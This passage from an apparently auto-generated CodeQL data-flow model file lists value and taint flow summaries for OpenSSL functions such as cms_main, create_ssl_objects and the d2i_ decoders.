*[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ca_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "calculate_columns", "(FUNCTION *,DISPLAY_COLUMNS *)", "", "Argument[*1].Field[*width]", "Argument[*1].Field[*columns]", "taint", "dfc-generated"] + - ["", "", True, "check_certbag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "check_certbag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *)", "", "Argument[2]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "check_keybag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "check_keybag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *)", "", "Argument[2]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "chopup_args", "(ARGS *,char *)", "", "Argument[*1]", "Argument[*0].Field[***argv]", "value", "dfc-generated"] + - ["", "", True, "chopup_args", "(ARGS *,char *)", "", "Argument[1]", "Argument[*0].Field[***argv]", "value", "dfc-generated"] + - ["", "", True, "chopup_args", "(ARGS *,char *)", "", "Argument[1]", "Argument[*0].Field[**argv]", "value", "dfc-generated"] + - ["", "", True, "ciphers_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ciphers_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "cmp_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "cmp_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "cms_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "cms_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "cms_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "cms_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "collect_names", "(const char *,void *)", "", "Argument[*0]", "Argument[*1].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "collect_names", "(const char *,void *)", "", "Argument[*0]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "collect_names", "(const char *,void *)", "", "Argument[0]", "Argument[*1].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "collect_names", "(const char *,void *)", "", "Argument[0]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "conf_ssl_get", "(size_t,const char **,size_t *)", "", "Argument[0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get", "(size_t,const char **,size_t *)", "", "Argument[0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get", "(size_t,const char **,size_t *)", "", "Argument[0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get", "(size_t,const char **,size_t *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get", "(size_t,const char **,size_t *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[1]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[1]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "config_ctx", "(SSL_CONF_CTX *,stack_st_OPENSSL_STRING *,SSL_CTX *)", "", "Argument[2]", "Argument[*0].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*2]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[4]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[5]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[6]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*5]", "Argument[5]", "value", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*6]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*6]", "Argument[6]", "value", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[6]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "construct_ca_names", "(SSL_CONNECTION *,const stack_st_X509_NAME *,WPACKET *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[**2]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[*2]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[*2]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "create_a_psk", "(SSL *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*master_key_length]", "value", "dfc-generated"] + - ["", "", True, "create_bare_ssl_connection", "(SSL *,SSL *,int,int,int)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "create_bare_ssl_connection", "(SSL *,SSL *,int,int,int)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_connection", "(SSL *,SSL *,int)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_connection", "(SSL *,SSL *,int)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[*1]", "Argument[**5].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[*2]", "Argument[**6].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[1]", "Argument[**5].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[2]", "Argument[**6].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "create_ssl_objects2", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "create_ssl_objects2", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[4]", "Argument[**2].Field[**bbio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[4]", "Argument[**2].Field[*wbio]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[4]", "Argument[**3].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[5]", "Argument[**2].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[5]", "Argument[**3].Field[**bbio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[5]", "Argument[**3].Field[*wbio]", "value", "dfc-generated"] + - ["", "", True, "crl2pkcs7_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "crl2pkcs7_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "crl_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "crl_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "custom_ext_find", "(const custom_ext_methods *,ENDPOINT,unsigned int,size_t *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "custom_ext_find", "(const custom_ext_methods *,ENDPOINT,unsigned int,size_t *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "custom_exts_copy", "(custom_ext_methods *,const custom_ext_methods *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", 